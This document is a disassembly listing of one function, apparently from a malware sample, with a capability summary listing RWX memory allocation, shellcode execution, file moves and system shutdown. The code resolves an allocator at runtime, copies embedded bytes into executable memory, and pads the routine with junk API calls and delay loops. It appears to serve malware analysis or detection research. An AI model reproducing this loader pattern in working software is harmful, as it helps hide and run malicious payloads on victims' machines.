Function at 0x402fd3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.0040dff0
cmp dword [0x49cb78], 0x5b1
push ebx
push esi
push edi
jne 0x4030a2
xor esi, esi
push esi
lea eax, [ebp - 0x428]
push eax
push esi
push 0x4027ac
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push 0x4027d4
call dword [sym.imp.USER32.dll_CreateWindowStationA]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push 0x4027f8
push 0x402828
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
call fcn.00403cdf
pop ecx
push esi
push esi
push esi
push esi
call fcn.00403b25
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402c90
fstp st(0)
push esi
call fcn.0040373c
pop ecx
call fcn.00403405
push esi
call fcn.0040386e
mov dword [esp], esi
call fcn.00402cc3
fstp st(0)
push esi
call fcn.0040386e
pop ecx
call fcn.00403d4d
add dword [0x49cb78], 0x1134b
push 0x40284c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x402868
push eax
mov dword [0x49bacc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x49cb78]
xor esi, esi
push esi
mov dword [0x49bac4], eax
call eax
xor edi, edi
mov dword [0x49bac8], eax
cmp dword [0x49cb78], esi
jbe 0x40313f
cmp dword [0x49cb78], 0xa8
mov eax, dword [0x49cb7c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x49bac8]
mov byte [ecx + edi], al
jne 0x403136
push esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x1028]
push eax
push 0x402878
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
inc edi
cmp edi, dword [0x49cb78]
jb 0x4030ee
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], esi
mov eax, dword [0x49cb78]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x403215
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x4028a8
push 0x402920
push 0x402954
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
push esi
push 0x402964
push 0x402988
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x428]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
push 0x4029b8
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call ebx
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1028]
push eax
push 0x4029f8
lea eax, [ebp - 0x20]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
lea eax, [ebp - 0x10]
push eax
call ebx
push 0x402a68
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403148
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp edi, 0x206d47
jg 0x40324e
inc edi
cmp edi, 0x4f6a4
jl 0x403227
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec edi
jne 0x403253
call fcn.00402f41
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x26
jne 0x403282
call fcn.00402fb9
inc edi
cmp edi, 0x6753f
jl 0x403272
push 0x7b
pop edi
cmp dword [0x49cb78], 0x86
jne 0x4032e2
push esi
lea eax, [ebp - 0x1028]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x402a98
push 0x402adc
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x402ae8
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x402af0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec edi
jne 0x40328e
call fcn.00402d07
pop edi
pop esi
pop ebx
leave
ret